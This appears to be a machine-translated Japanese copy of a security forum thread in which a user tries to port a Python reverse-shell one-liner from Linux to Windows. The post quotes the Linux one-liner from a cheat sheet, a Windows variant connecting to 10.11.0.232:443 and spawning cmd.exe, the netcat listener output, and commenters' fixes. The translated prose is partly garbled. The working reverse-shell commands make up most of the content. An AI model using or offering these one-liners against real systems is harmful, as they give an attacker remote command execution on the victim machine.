誰でも、WindowsのためのPythonリバースシェルの1ライナー(窓一直線にする必要があります)私を助けることができます。Pythonのウィンドウリバースシェルの1つのライナー
何度も使用していたLinux用のものを修正しようとしていますが、これは初めてのWindowsです。
Linuxの1つのライナー:Reverse Shell Cheat Sheetから撮影
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
。だからここ
は、私がこれまで行うことができたものです:
C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);"
まあ、事は私が戻ってちょうどシェルが死ぬという接続を得るかです。誰でもこの問題を解決する方法や提案を知っていますか?
nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036
のでsubprocess call
へのパラメータが間違っていなければなりません。私はそれを正しくするように見えることはできません。
cmd.exe
へのパスが正しいです。には-i
のような対応するパラメータはありません。
誰でも正しい方向に私を向けることができますか?
EDIT:サブプロセス呼び出しの引き数なしで試しても同じ結果が試されます。すぐに接続が切断されます。
socket.fileno()
ため
documentationから
C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);"
あなたは、これが逆のシェルになりたいが、これは純粋なPythonプログラミングの質問です。移行する。 – schroeder
cmd.exeに対して_-i_オプションは何をしますか?それはbashには正しいですが、私はあなたのバージョンでそれを望んでいないと思います。 – multithr3at3d
@ korockinout13が合意しました。私はその男を見て、それを見つけられませんでした。しかし、私は逆のシェルを得るために何を使うべきか疑問に思います。 – rockstar